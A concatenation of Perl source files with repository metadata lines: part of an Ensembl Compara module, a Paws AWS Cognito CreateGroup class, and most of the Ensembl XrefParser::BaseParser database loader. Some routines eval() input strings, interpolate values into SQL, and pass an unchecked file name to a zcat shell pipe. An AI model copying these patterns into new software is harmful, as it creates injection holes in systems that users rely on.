my $self = shift;
if (@_) {
$self->{_ref_dnafrag_coords} = shift;
}
return $self->{_ref_dnafrag_coords};
}
sub genomic_aligns_on_ref_slice {
my $self = shift;
if (@_) {
$self->{_genomic_aligns_on_ref_slice} = shift;
}
return $self->{_genomic_aligns_on_ref_slice};
}
sub dnafrag_overlaps {
my $self = shift;
if (@_) {
$self->{_dnafrag_overlaps} = shift;
}
return $self->{_dnafrag_overlaps};
}
sub reference_genome_db {
my $self = shift;
if (@_){
$self->{_reference_genome_db} = shift;
}
return $self->{_reference_genome_db};
}
sub genome_db_ids {
my $self = shift;
if (@_){
$self->{_genome_db_ids} = shift;
}
return $self->{_genome_db_ids};
}
sub genomic_align_block_adaptor {
my $self = shift;
if (@_){
$self->{_genomic_align_block_adaptor} = shift;
}
return $self->{_genomic_align_block_adaptor};
}
sub ref_dnafrag_id {
my $self = shift;
if (@_){
$self->{_ref_dnafrag_id} = shift;
}
return $self->{_ref_dnafrag_id};
}
sub dnafrag_chunks {
my $self = shift;
if (@_){
$self->{_dnafrag_chunks} = shift;
}
return $self->{_dnafrag_chunks};
}
sub ref_dnafrag {
my $self = shift;
if (@_){
$self->{_ref_dnafrag} = shift;
}
return $self->{_ref_dnafrag};
}
sub method_type {
my $self = shift;
if (@_){
$self->{_method_type} = shift;
}
return $self->{_method_type};
}
sub method_link_species_set_id {
my $self = shift;
if (@_){
$self->{_method_link_species_set_id} = shift;
}
return $self->{_method_link_species_set_id};
}
sub get_parameters {
my $self = shift;
my $param_string = shift;
return unless($param_string);
my $params = eval($param_string);
if(defined($params->{'analysis_data_id'})) {
$self->analysis_data_id($params->{'analysis_data_id'});
}
if(defined($params->{'method_link_species_set_id'})) {
$self->method_link_species_set_id($params->{'method_link_species_set_id'});
}
if(defined($params->{'tree_analysis_data_id'})) {
$self->tree_analysis_data_id($params->{'tree_analysis_data_id'});
}
if(defined($params->{'analysis_id'})) {
$self->analysis_id($params->{'analysis_id'});
}
}
sub get_input_id {
my $self = shift;
my $input_id_string = shift;
return unless($input_id_string);
print("parsing input_id string : ",$input_id_string,"\n");
my $params = eval($input_id_string);
return unless($params);
if(defined($params->{'method_type'})) {
$self->method_type($params->{'method_type'});
}
if(defined($params->{'genome_db_ids'})) {
$self->genome_db_ids($params->{'genome_db_ids'});
}
if(defined($params->{'ref_dnafrag_id'})) {
$self->ref_dnafrag_id($params->{'ref_dnafrag_id'});
}
if(defined($params->{'dnafrag_chunks'})) {
$self->dnafrag_chunks($params->{'dnafrag_chunks'});
}
return 1;
}
1;
| adamsardar/perl-libs-custom | EnsemblAPI/ensembl-compara/modules/Bio/EnsEMBL/Compara/Production/EPOanchors/GetBlastzOverlaps.pm | Perl | apache-2.0 | 15,801 |
package Paws::CognitoIdp::CreateGroup;
use Moose;
has Description => (is => 'ro', isa => 'Str');
has GroupName => (is => 'ro', isa => 'Str', required => 1);
has Precedence => (is => 'ro', isa => 'Int');
has RoleArn => (is => 'ro', isa => 'Str');
has UserPoolId => (is => 'ro', isa => 'Str', required => 1);
use MooseX::ClassAttribute;
class_has _api_call => (isa => 'Str', is => 'ro', default => 'CreateGroup');
class_has _returns => (isa => 'Str', is => 'ro', default => 'Paws::CognitoIdp::CreateGroupResponse');
class_has _result_key => (isa => 'Str', is => 'ro');
1;
### main pod documentation begin ###
=head1 NAME
Paws::CognitoIdp::CreateGroup - Arguments for method CreateGroup on Paws::CognitoIdp
=head1 DESCRIPTION
This class represents the parameters used for calling the method CreateGroup on the
Amazon Cognito Identity Provider service. Use the attributes of this class
as arguments to method CreateGroup.
You shouldn't make instances of this class. Each attribute should be used as a named argument in the call to CreateGroup.
As an example:
$service_obj->CreateGroup(Att1 => $value1, Att2 => $value2, ...);
Values for attributes that are native types (Int, String, Float, etc) can passed as-is (scalar values). Values for complex Types (objects) can be passed as a HashRef. The keys and values of the hashref will be used to instance the underlying object.
=head1 ATTRIBUTES
=head2 Description => Str
A string containing the description of the group.
=head2 B<REQUIRED> GroupName => Str
The name of the group. Must be unique.
=head2 Precedence => Int
A nonnegative integer value that specifies the precedence of this group
relative to the other groups that a user can belong to in the user
pool. Zero is the highest precedence value. Groups with lower
C<Precedence> values take precedence over groups with higher or null
C<Precedence> values. If a user belongs to two or more groups, it is
the group with the lowest precedence value whose role ARN will be used
in the C<cognito:roles> and C<cognito:preferred_role> claims in the
user's tokens.
Two groups can have the same C<Precedence> value. If this happens,
neither group takes precedence over the other. If two groups with the
same C<Precedence> have the same role ARN, that role is used in the
C<cognito:preferred_role> claim in tokens for users in each group. If
the two groups have different role ARNs, the C<cognito:preferred_role>
claim is not set in users' tokens.
The default C<Precedence> value is null.
=head2 RoleArn => Str
The role ARN for the group.
=head2 B<REQUIRED> UserPoolId => Str
The user pool ID for the user pool.
=head1 SEE ALSO
This class forms part of L<Paws>, documenting arguments for method CreateGroup in L<Paws::CognitoIdp>
=head1 BUGS and CONTRIBUTIONS
The source code is located here: https://github.com/pplu/aws-sdk-perl
Please report bugs to: https://github.com/pplu/aws-sdk-perl/issues
=cut
| ioanrogers/aws-sdk-perl | auto-lib/Paws/CognitoIdp/CreateGroup.pm | Perl | apache-2.0 | 2,960 |
=head1 LICENSE
Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=cut
package XrefParser::BaseParser;
use strict;
use warnings;
use Bio::EnsEMBL::Utils::Exception;
use XrefParser::FetchFiles;
use XrefParser::Database;
use Carp;
use DBI;
use Getopt::Long;
my $base_dir = File::Spec->curdir();
my $add_xref_sth = undef;
my $add_object_xref_sth = undef;
my $add_identity_xref_sth = undef;
my %add_direct_xref_sth;
my $add_dependent_xref_sth = undef;
my $get_xref_sth = undef;
my $get_object_xref_sth = undef;
my $add_synonym_sth = undef;
my %xref_dependent_mapped;
my $verbose;
###################################################
# Create new object.
# set global $verbose
# Store the dbi form the database for easy access
###################################################
sub new
{
my ($proto, $database, $is_verbose) = @_;
if((!defined $database)){# or (!$database->isa(XrefPArserDatabase)))
croak 'No database specfied';
}
$verbose = $is_verbose;
my $dbi = $database->dbi;
my $class = ref $proto || $proto;
my $self = bless {}, $class;
$self->dbi($dbi);
return $self;
}
##################################
# Getter/Setter for the dbi object
##################################
sub dbi {
my ($self, $arg) = @_;
(defined $arg) &&
($self->{_dbi} = $arg );
return $self->{_dbi};
}
#######################################################################
# Given a file name, returns a IO::Handle object. If the file is
# gzipped, the handle will be to an unseekable stream coming out of a
# zcat pipe. If the given file name doesn't correspond to an existing
# file, the routine will try to add '.gz' to the file name or to remove
# any .'Z' or '.gz' and try again. Returns undef on failure and will
# write a warning to stderr.
#######################################################################
sub get_filehandle
{
my ($self, $file_name) = @_;
my $io =undef;
if(!(defined $file_name) or $file_name eq ''){
confess "No file name";
}
my $alt_file_name = $file_name;
$alt_file_name =~ s/\.(gz|Z)$//x;
if ( $alt_file_name eq $file_name ) {
$alt_file_name .= '.gz';
}
if ( !-e $file_name ) {
carp( "File '$file_name' does not exist, "
. "will try '$alt_file_name'" );
$file_name = $alt_file_name;
}
if ( $file_name =~ /\.(gz|Z)$/x ) {
# Read from zcat pipe
$io = IO::File->new("zcat $file_name |")
or carp("Can not open file '$file_name' with 'zcat'");
} else {
# Read file normally
$io = IO::File->new($file_name)
or carp("Can not open file '$file_name'");
}
if ( !defined $io ) { return }
if ($verbose) {
print "Reading from '$file_name'...\n" || croak 'Could not print out message';
}
return $io;
}
#############################################
# Get source ID for a particular source name
#
# Arg[1] source name
# Arg[2] priority description
#
# Returns source_id or -1 if not found
#############################################
sub get_source_id_for_source_name {
my ($self, $source_name,$priority_desc) = @_;
my $low_name = lc $source_name;
my $sql = "SELECT source_id FROM source WHERE LOWER(name)='$low_name'";
if(defined $priority_desc){
$low_name = lc $priority_desc;
$sql .= " AND LOWER(priority_description)='$low_name'";
$source_name .= " ($priority_desc)";
}
my $sth = $self->dbi->prepare($sql);
$sth->execute();
my @row = $sth->fetchrow_array();
my $source_id;
if (@row) {
$source_id = $row[0];
} else {
carp "WARNING: There is no entity $source_name in the source-table of the xref database.\n";
carp "WARNING:. The external db name ($source_name) is hardcoded in the parser\n";
carp "WARNING: Couldn't get source ID for source name $source_name\n";
$source_id = '-1';
}
return $source_id;
}
############################################################
# Get a set of source IDs matching a source name pattern
#
# Adds % to each end of the source name and doe a like query
# to find all the matching source names source_ids.
#
# Returns an empty list if none found.
############################################################
sub get_source_ids_for_source_name_pattern {
my ($self, $source_name) = @_;
my $big_name = uc $source_name;
my $sql = "SELECT source_id FROM source WHERE upper(name) LIKE '%${big_name}%'";
my $sth = $self->dbi->prepare($sql);
my @sources;
$sth->execute();
while(my @row = $sth->fetchrow_array()){
push @sources,$row[0];
}
$sth->finish;
return @sources;
}
###############################
# From a source_id get the name
###############################
sub get_source_name_for_source_id {
my ($self, $source_id) = @_;
my $source_name;
my $sql = "SELECT name FROM source WHERE source_id= '$source_id'";
my $sth = $self->dbi->prepare($sql);
$sth->execute();
my @row = $sth->fetchrow_array();
if (@row) {
$source_name = $row[0];
} else {
carp "There is no entity with source-id $source_id in the source-table of the \n";
carp "xref-database. The source-id and the name of the source-id is hard-coded in populate_metadata.sql\n" ;
carp "and in the parser\n";
carp "Couldn't get source name for source ID $source_id\n";
$source_name = '-1';
}
return $source_name;
}
####################################################
# Get a hash to go from accession of a dependent xref
# to master_xref_id for all of source names given
#####################################################
sub get_valid_xrefs_for_dependencies{
my ($self, $dependent_name, @reverse_ordered_source_list) = @_;
my %dependent_2_xref;
my $sql = 'select source_id from source where LOWER(name) =?';
my $sth = $self->dbi->prepare($sql);
my @dependent_sources;
$sth->execute(lc $dependent_name);
while(my @row = $sth->fetchrow_array()){
push @dependent_sources,$row[0];
}
my @sources;
foreach my $name (@reverse_ordered_source_list){
$sth->execute(lc $name);
while(my @row = $sth->fetchrow_array()){
push @sources,$row[0];
}
}
$sth->finish;
my $dep_sql = (<<'DSS');
SELECT d.master_xref_id, x2.accession
FROM dependent_xref d, xref x1, xref x2
WHERE x1.xref_id = d.master_xref_id AND
x1.source_id = ? AND
x2.xref_id = d.dependent_xref_id AND
x2.source_id = ?
DSS
$sth = $self->dbi->prepare($dep_sql);
foreach my $d (@dependent_sources){
foreach my $s (@sources){
$sth->execute($s,$d);
while(my @row = $sth->fetchrow_array()){
$dependent_2_xref{$row[1]} = $row[0];
}
}
}
return \%dependent_2_xref;
}
####################################################
# Get a hash to go from accession of a direct xref
# to master_xref_id for all of source names given
#####################################################
sub get_valid_xrefs_for_direct_xrefs{
my ($self, $direct_name, $separator) = @_;
my %direct_2_xref;
my $sql = 'select source_id from source where name like ?';
my $sth = $self->dbi->prepare($sql);
my @direct_sources;
$sth->execute("${direct_name}%");
while(my @row = $sth->fetchrow_array()){
push @direct_sources,$row[0];
}
my $gen_sql =(<<"GDS");
SELECT d.general_xref_id, d.ensembl_stable_id, 'TYPE', d.linkage_xref, x1.accession
FROM TABLE_direct_xref d, xref x1
WHERE x1.xref_id = d.general_xref_id AND
x1.source_id=?
GDS
my @sth;
my $i=0;
foreach my $type (qw(Gene Transcript Translation)){
my $t_sql = $gen_sql;
my $table = lc $type;
$t_sql =~ s/TABLE/$table/xsm;
$t_sql =~ s/TYPE/$type/xsm;
$sth[$i++] = $self->dbi->prepare($t_sql);
}
foreach my $d (@direct_sources){
for my $ii (0..2) {
$sth[$ii]->execute($d);
while(my ($gen_xref_id, $stable_id, $type, $link, $acc) = $sth[$ii]->fetchrow_array()){
$direct_2_xref{$acc} = $gen_xref_id.$separator.$stable_id.$separator.$type.$separator.$link;
}
}
}
return \%direct_2_xref;
}
#############################################
# Get a hash of label to acc for a particular
# source name and species_id
#############################################
sub label_to_acc{
my ($self,$source_name,$species_id) =@_;
# First cache synonyms so we can quickly add them later
my %synonyms;
my $syn_sth = $self->dbi->prepare('SELECT xref_id, synonym FROM synonym');
$syn_sth->execute();
my ($xref_id, $synonym);
$syn_sth->bind_columns(\$xref_id, \$synonym);
while ($syn_sth->fetch()) {
push @{$synonyms{$xref_id}}, $synonym;
}
my %valid_codes;
my @sources;
my $big_name = uc $source_name;
my $sql = "select source_id from source where upper(name) like '%${big_name}%'";
my $sth = $self->dbi->prepare($sql);
$sth->execute();
while(my @row = $sth->fetchrow_array()){
push @sources,$row[0];
}
$sth->finish;
foreach my $source (@sources){
$sql = "select label, xref_id from xref where species_id = $species_id and source_id = $source";
$sth = $self->dbi->prepare($sql);
$sth->execute();
while(my @row = $sth->fetchrow_array()){
$valid_codes{$row[0]} =$row[1];
# add any synonyms for this xref as well
foreach my $syn (@{$synonyms{$row[1]}}) {
$valid_codes{$syn} = $row[1];
}
}
}
return \%valid_codes;
}
####################################################
# get_valid_codes
#
# hash of accession to array of xrefs.
# This is an array becouse more than one entry can
# exist. i.e. for uniprot and refseq we have direct
# and sequence match sets and we need to give both.
####################################################
sub get_valid_codes{
my ($self,$source_name,$species_id) =@_;
my %valid_codes;
my @sources;
my $dbi = $self->dbi();
my $big_name = uc $source_name;
my $sql = "select source_id from source where upper(name) like '%$big_name%'";
my $sth = $dbi->prepare($sql);
$sth->execute();
while(my @row = $sth->fetchrow_array()){
push @sources,$row[0];
}
$sth->finish;
foreach my $source (@sources){
$sql = "select accession, xref_id from xref where species_id = $species_id and source_id = $source";
$sth = $dbi->prepare($sql);
$sth->execute();
while(my @row = $sth->fetchrow_array()){
push @{$valid_codes{$row[0]}}, $row[1];
}
}
return \%valid_codes;
}
##############################
# Upload xrefs to the database
##############################
sub upload_xref_object_graphs {
my ($self, $rxrefs) = @_;
my $count = scalar @{$rxrefs};
if($verbose) {
print "count = $count\n" || croak 'Could not print out count';
}
if ($count) {
#################
# upload new ones
##################
if ($verbose) {
print "Uploading xrefs\n"
|| croak 'Could not print string';
}
#################################################################################
# Start of sql needed to add xrefs, primary_xrefs, synonym, dependent_xrefs etc..
#################################################################################
my $dbi = $self->dbi;
my $xref_sth = $dbi->prepare('INSERT INTO xref (accession,version,label,description,source_id,species_id, info_type) VALUES(?,?,?,?,?,?,?)');
my $pri_insert_sth = $dbi->prepare('INSERT INTO primary_xref VALUES(?,?,?,?)');
my $pri_update_sth = $dbi->prepare('UPDATE primary_xref SET sequence=? WHERE xref_id=?');
my $syn_sth = $dbi->prepare('INSERT IGNORE INTO synonym VALUES(?,?)');
my $dep_sth = $dbi->prepare('INSERT INTO dependent_xref (master_xref_id, dependent_xref_id, linkage_annotation, linkage_source_id) VALUES(?,?,?,?)');
my $xref_update_label_sth = $dbi->prepare('UPDATE xref SET label=? WHERE xref_id=?');
my $xref_update_descr_sth = $dbi->prepare('UPDATE xref SET description=? WHERE xref_id=?');
my $pair_sth = $dbi->prepare('INSERT INTO pairs VALUES(?,?,?)');
# disable error handling here as we'll do it ourselves
# reenabled it, as errorcodes are really unhelpful
$xref_sth->{RaiseError} = 0;
$xref_sth->{PrintError} = 0;
#################################################################################
# End of sql needed to add xrefs, primary_xrefs, synonym, dependent_xrefs etc..
#################################################################################
foreach my $xref (@{$rxrefs}) {
my ($xref_id, $direct_xref_id);
if(!(defined $xref->{ACCESSION} )){
print "Your xref does not have an accession-number,so it can't be stored in the database\n"
|| croak 'Could not write message';
return;
}
########################################
# Create entry in xref table and note ID
########################################
if(! $xref_sth->execute($xref->{ACCESSION},
$xref->{VERSION} || 0,
$xref->{LABEL}|| $xref->{ACCESSION},
$xref->{DESCRIPTION},
$xref->{SOURCE_ID},
$xref->{SPECIES_ID},
$xref->{INFO_TYPE} || 'MISC')){
#
# if we failed to add the xref it must already exist so go find the xref_id for this
#
if(!(defined $xref->{SOURCE_ID})){
print "your xref: $xref->{ACCESSION} does not have a source-id\n";
return;
}
$xref_id = $self->get_xref_id({ sth => $xref_sth,
error => $dbi->err,
acc => $xref->{ACCESSION},
source_id => $xref->{SOURCE_ID},
species_id => $xref->{SPECIES_ID}} );
if(defined $xref->{LABEL} ) {
$xref_update_label_sth->execute($xref->{LABEL},$xref_id) ;
}
if(defined $xref->{DESCRIPTION} ){
$xref_update_descr_sth->execute($xref->{DESCRIPTION},$xref_id);
}
}
else{
#
# get the xref_id for the newly created xref.
#
$xref_id = $self->get_xref_id({ sth => $xref_sth,
error => $dbi->err,
acc => $xref->{ACCESSION},
source_id => $xref->{SOURCE_ID},
species_id => $xref->{SPECIES_ID}} );
}
foreach my $direct_xref (@{$xref->{DIRECT_XREFS}}) {
$xref_sth->execute( $xref->{ACCESSION},
$xref->{VERSION} || 0,
$xref->{LABEL} || $xref->{ACCESSION},
$xref->{DESCRIPTION},
$direct_xref->{SOURCE_ID},
$xref->{SPECIES_ID},
$direct_xref->{LINKAGE_TYPE});
$direct_xref_id = $self->get_xref_id({ sth => $xref_sth,
error => $dbi->err,
acc => $xref->{ACCESSION},
source_id => $direct_xref->{SOURCE_ID},
species_id => $xref->{SPECIES_ID}} );
$self->add_direct_xref($direct_xref_id, $direct_xref->{STABLE_ID}, $direct_xref->{ENSEMBL_TYPE},$direct_xref->{LINKAGE_TYPE});
}
################
# Error checking
################
if(!((defined $xref_id) and $xref_id)){
print STDERR "xref_id is not set for :\n".
"$xref->{ACCESSION}\n$xref->{LABEL}\n".
"$xref->{DESCRIPTION}\n$xref->{SOURCE_ID}\n".
"$xref->{SPECIES_ID}\n";
}
#############################################################################
# create entry in primary_xref table with sequence; if this is a "cumulative"
# entry it may already exist, and require an UPDATE rather than an INSERT
#############################################################################
if(defined $xref->{SEQUENCE} ){
if ( $self->primary_xref_id_exists($xref_id) ) {
$pri_update_sth->execute( $xref->{SEQUENCE}, $xref_id )
or croak( $dbi->errstr() );
} else {
$pri_insert_sth->execute( $xref_id, $xref->{SEQUENCE},
$xref->{SEQUENCE_TYPE},
$xref->{STATUS} )
or croak( $dbi->errstr() );
}
}
##########################################################
# if there are synonyms, add entries in the synonym table
##########################################################
foreach my $syn ( @{ $xref->{SYNONYMS} } ) {
$syn_sth->execute( $xref_id, $syn )
or croak( $dbi->errstr() . "\n $xref_id\n $syn\n" );
}
#######################################################################
# if there are dependent xrefs, add xrefs and dependent xrefs for them
#######################################################################
foreach my $depref (@{$xref->{DEPENDENT_XREFS}}) {
my %dep = %{$depref};
#################
# Insert the xref
#################
# print "inserting $dep{ACCESSION},$dep{VERSION},$dep{LABEL},$dep{DESCRIPTION},$dep{SOURCE_ID},${\$xref->{SPECIES_ID}}\n";
$xref_sth->execute($dep{ACCESSION},
$dep{VERSION} || 0,
$dep{LABEL} || $dep{ACCESSION},
$dep{DESCRIPTION} || '',
$dep{SOURCE_ID},
$xref->{SPECIES_ID},
'DEPENDENT');
#####################################
# find the xref_id for dependent xref
#####################################
my $dep_xref_id = $self->get_xref_id({ sth => $xref_sth,
error => $dbi->err,
acc => $dep{ACCESSION},
source_id => $dep{SOURCE_ID},
species_id => $xref->{SPECIES_ID}} );
if(!(defined $dep_xref_id) || $dep_xref_id ==0 ){
print STDERR "acc = $dep{ACCESSION} \nlink = $dep{LINKAGE_SOURCE_ID} \n".$dbi->err."\n";
print STDERR "source = $dep{SOURCE_ID}\n";
}
#
# Add the linkage_annotation and source id it came from
#
$dep_sth->execute( $xref_id, $dep_xref_id,
$dep{LINKAGE_ANNOTATION},
$dep{LINKAGE_SOURCE_ID} )
or croak( $dbi->errstr() );
#########################################################
# if there are synonyms, add entries in the synonym table
#########################################################
foreach my $syn ( @{ $dep{SYNONYMS} } ) {
$syn_sth->execute( $dep_xref_id, $syn )
or croak( $dbi->errstr() . "\n $xref_id\n $syn\n" );
} # foreach syn
} # foreach dep
#################################################
# Add the pair data. refseq dna/pep pairs usually
#################################################
if(defined $xref_id and defined $xref->{PAIR} ){
$pair_sth->execute($xref->{SOURCE_ID},$xref->{ACCESSION},$xref->{PAIR});
}
###########################
# tidy up statement handles
###########################
if(defined $xref_sth) {$xref_sth->finish()};
if(defined $pri_insert_sth) {$pri_insert_sth->finish()} ;
if(defined $pri_update_sth) {$pri_update_sth->finish()};
} # foreach xref
}
return 1;
}
######################################################################################
# Add direct xref to the table XXX_direct_xref. (XXX -> Gene.Transcript or Translation
# Xref has to exist already, this module just adds ot yo the direct_xref table.
# $direct_xref is a reference to an array of hash objects.
######################################################################################
sub upload_direct_xrefs{
my ($self, $direct_xref) = @_;
for my $dr(@{$direct_xref}) {
################################################
# Find the xref_id for this accession and source
################################################
my $general_xref_id = get_xref($dr->{ACCESSION},$dr->{SOURCE_ID},$dr->{SPECIES_ID});
#######################################################
# If found add the direct xref else write error message
#######################################################
if ($general_xref_id){
$self->add_direct_xref($general_xref_id, $dr->{ENSEMBL_STABLE_ID},$dr->{ENSEMBL_TYPE},$dr->{LINKAGE_XREF});
}
else{
print {*STDERR} 'Problem Could not find accession '.$dr->{ACCESSION}.' for source '.$dr->{SOURCE}.
' so not able to add direct xref to '.$dr->{ENSEMBL_STABLE_ID}."\n";
}
}
return;
}
###############################################
# Insert into the meta table the key and value.
###############################################
sub add_meta_pair {
my ($self, $key, $value) = @_;
my $sth = $self->dbi->prepare('insert into meta (meta_key, meta_value, date) values("'.$key.'", "'.$value.'", now())');
$sth->execute;
$sth->finish;
return;
}
#################################################
# Create a hash of all the source names for xrefs
#################################################
sub get_xref_sources {
my $self = shift;
my %sourcename_to_sourceid;
my $dbi = $self->dbi;
my $sth = $dbi->prepare('SELECT name,source_id FROM source');
$sth->execute() or croak( $dbi->errstr() );
while(my @row = $sth->fetchrow_array()) {
my $source_name = $row[0];
my $source_id = $row[1];
$sourcename_to_sourceid{$source_name} = $source_id;
}
$sth->finish;
return %sourcename_to_sourceid;
}
########################################################################
# Create and return a hash that that goes from species_id to taxonomy_id
########################################################################
sub species_id2taxonomy {
my $self = shift;
my %species_id2taxonomy;
my $dbi = $self->dbi;
my $sth = $dbi->prepare('SELECT species_id, taxonomy_id FROM species');
$sth->execute() or croak( $dbi->errstr() );
while(my @row = $sth->fetchrow_array()) {
my $species_id = $row[0];
my $taxonomy_id = $row[1];
if(defined $species_id2taxonomy{$species_id} ){
push @{$species_id2taxonomy{$species_id}}, $taxonomy_id;
}
else{
$species_id2taxonomy{$species_id} = [$taxonomy_id];
}
}
return %species_id2taxonomy;
}
#########################################################################
# Create and return a hash that that goes from species_id to species name
#########################################################################
sub species_id2name {
my $self = shift;
my %species_id2name;
my $dbi = $self->dbi;
my $sth = $dbi->prepare('SELECT species_id, name FROM species');
$sth->execute() or croak( $dbi->errstr() );
while ( my @row = $sth->fetchrow_array() ) {
my $species_id = $row[0];
my $name = $row[1];
$species_id2name{$species_id} = [ $name ];
}
##############################################
# Also populate the hash with all the aliases.
##############################################
$sth = $dbi->prepare('SELECT species_id, aliases FROM species');
$sth->execute() or croak( $dbi->errstr() );
while ( my @row = $sth->fetchrow_array() ) {
my $species_id = $row[0];
foreach my $name ( split /,\s*/xms, $row[1] ) {
$species_id2name{$species_id} ||= [];
push @{$species_id2name{$species_id}}, $name;
}
}
return %species_id2name;
} ## end sub species_id2name
###########################################################################
# If there was an error, an xref with the same acc & source already exists.
# If so, find its ID, otherwise get ID of xref just inserted
###########################################################################
sub get_xref_id {
my ($self, $arg_ref) = @_;
my $sth = $arg_ref->{sth} || croak 'Need a statement handle for get_xref_id';
my $acc = $arg_ref->{acc} || croak 'Need an accession for get_xref_id';
my $source = $arg_ref->{source_id} || croak 'Need an source_id for get_xref_id';
my $species = $arg_ref->{species_id} || confess 'Need an species_id for get_xref_id';
my $error = $arg_ref->{error};
my $id;
if ($error and ($error eq '1062')) { # duplicate (okay so get the original)
$id = $self->get_xref($acc, $source, $species);
}
elsif ($error){
croak "Error $error";
}
else {
$id = $sth->{'mysql_insertid'};
}
return $id;
}
##################################################################
# If primary xref already exists for a partiuclar xref_id return 1
# else return 0;
##################################################################
sub primary_xref_id_exists {
my ($self, $xref_id) = @_;
my $exists = 0;
my $dbi = $self->dbi;
my $sth = $dbi->prepare('SELECT xref_id FROM primary_xref WHERE xref_id=?');
$sth->execute($xref_id) or croak( $dbi->errstr() );
my @row = $sth->fetchrow_array();
my $result = $row[0];
if (defined $result) {$exists = 1; }
return $exists;
}
############################################
# Get the tax id for a particular species id
############################################
sub get_taxonomy_from_species_id{
my ($self,$species_id) = @_;
my %hash;
my $dbi= $self->dbi;
my $sth = $dbi->prepare("SELECT taxonomy_id FROM species WHERE species_id = $species_id");
$sth->execute() or croak( $dbi->errstr() );
while(my @row = $sth->fetchrow_array()) {
$hash{$row[0]} = 1;
}
$sth->finish;
return \%hash;
}
################################################
# xref_id for a given stable id and linkage_xref
# Only used in GOParser at the moment
################################################
sub get_direct_xref{
my ($self,$stable_id,$type,$link) = @_;
$type = lc $type;
my $dbi = $self->dbi;
my $sql = "select general_xref_id from ${type}_direct_xref d where ensembl_stable_id = ? and linkage_xref= ?";
my $direct_sth = $dbi->prepare($sql);
$direct_sth->execute( $stable_id, $link ) or croak( $dbi->errstr() );
if(my @row = $direct_sth->fetchrow_array()) {
return $row[0];
}
return;
}
###################################################################
# return the xref_id for a particular accession, source and species
# if not found return undef;
###################################################################
sub get_xref{
my ($self,$acc,$source, $species_id) = @_;
my $dbi = $self->dbi;
#
# If the statement handle does nt exist create it.
#
if(!(defined $get_xref_sth) ){
my $sql = 'select xref_id from xref where accession = ? and source_id = ? and species_id = ?';
$get_xref_sth = $dbi->prepare($sql);
}
#
# Find the xref_id using the sql above
#
$get_xref_sth->execute( $acc, $source, $species_id ) or croak( $dbi->errstr() );
if(my @row = $get_xref_sth->fetchrow_array()) {
return $row[0];
}
return;
}
###################################################################
# return the object_xref_id for a particular xref_id, ensembl_id and ensembl_object_type
# if not found return undef;
###################################################################
sub get_object_xref {
my ($self, $xref_id, $ensembl_id, $object_type) = @_;
my $dbi = $self->dbi;
#
# If the statement handle does nt exist create it.
#
if(!(defined $get_object_xref_sth) ){
my $sql = 'select object_xref_id from object_xref where xref_id = ? and ensembl_object_type = ? and ensembl_id = ?';
$get_object_xref_sth = $dbi->prepare($sql);
}
#
# Find the object_xref_id using the sql above
#
$get_object_xref_sth->execute( $xref_id, $ensembl_id, $object_type) or croak( $dbi->errstr() );
if(my @row = $get_object_xref_sth->fetchrow_array()) {
return $row[0];
}
return;
}
###########################################################
# Create an xref..
# If it already exists it return that xrefs xref_id
# else creates it and return the new xre_id
###########################################################
sub add_xref {
my ( $self, $arg_ref) = @_;
my $acc = $arg_ref->{acc} || croak 'add_xref needs aa acc';
my $source_id = $arg_ref->{source_id} || croak 'add_xref needs a source_id';
my $species_id = $arg_ref->{species_id} || croak 'add_xref needs a species_id';
my $label = $arg_ref->{label} || $acc;
my $description = $arg_ref->{desc} || '';
my $version = $arg_ref->{version} || 0;
my $info_type = $arg_ref->{info_type} || 'MISC';
##################################################################
# See if it already exists. It so return the xref_id for this one.
##################################################################
my $xref_id = $self->get_xref($acc,$source_id, $species_id);
if(defined $xref_id){
return $xref_id;
}
#######################################################################
# If the statement handle for the insertion of xrefs does not exist yet
# then create it
#######################################################################
if (!(defined $add_xref_sth) ) {
$add_xref_sth =
$self->dbi->prepare( 'INSERT INTO xref '
. '(accession,version,label,description,source_id,species_id, info_type) '
. 'VALUES(?,?,?,?,?,?,?)' );
}
######################################################################
# If the description is more than 255 characters, chop it off and add
# an indication that it has been truncated to the end of it.
######################################################################
if (defined $description && ((length $description) > 255 ) ) {
my $truncmsg = ' /.../';
substr $description, 255 - (length $truncmsg),
length $truncmsg, $truncmsg;
}
####################################
# Add the xref and croak if it fails
####################################
$add_xref_sth->execute( $acc, $version || 0, $label,
$description, $source_id, $species_id, $info_type
) or croak("$acc\t$label\t\t$source_id\t$species_id\n");
return $add_xref_sth->{'mysql_insertid'};
} ## end sub add_xref
###########################################################
# Create an object_xref..
# If it already exists it return the object_xref_id
# else creates it and returns the new object_xref_id
###########################################################
sub add_object_xref {
my ($self, $arg_ref) = @_;
my $xref_id = $arg_ref->{xref_id} || croak 'add_object_xref needs an xref_id';
my $ensembl_id = $arg_ref->{ensembl_id} || croak 'add_object_xref needs a ensembl_id';
my $object_type = $arg_ref->{object_type} || croak 'add_object_xref needs an object_type';
##################################################################
# See if it already exists. It so return the xref_id for this one.
##################################################################
my $object_xref_id = $self->get_object_xref($xref_id, $ensembl_id, $object_type);
if(defined $object_xref_id){
return $object_xref_id;
}
#######################################################################
# If the statement handle for the insertion of object_xrefs does not exist yet
# then create it
#######################################################################
if (!(defined $add_object_xref_sth) ) {
$add_object_xref_sth =
$self->dbi->prepare( 'INSERT INTO object_xref'
. '(ensembl_id, ensembl_object_type, xref_id) '
. 'VALUES(?,?,?)' );
}
####################################
# Add the object_xref and croak if it fails
####################################
$add_object_xref_sth->execute($ensembl_id, $object_type, $xref_id
) or croak("$ensembl_id\t$object_type\t\t$xref_id\n");
return $add_object_xref_sth->{'mysql_insertid'};
}
###########################################################
# Create an identity_xref
###########################################################
sub add_identity_xref {
my ($self, $arg_ref) = @_;
my $object_xref_id = $arg_ref->{object_xref_id} || croak 'add_identity_xref needs an object_xref_id';
my $score = $arg_ref->{score} || croak 'add_identity_xref needs a score';
my $target_identity = $arg_ref->{target_identity} || croak 'add_identity_xref needs a target_identity';
my $query_identity = $arg_ref->{query_identity} || croak 'add_identity_xref needs a query_identity';
#######################################################################
# If the statement handle for the insertion of object_xrefs does not exist yet
# then create it
#######################################################################
if (!(defined $add_identity_xref_sth) ) {
$add_identity_xref_sth =
$self->dbi->prepare( 'INSERT INTO identity_xref'
. '(object_xref_id, score, query_identity, target_identity) '
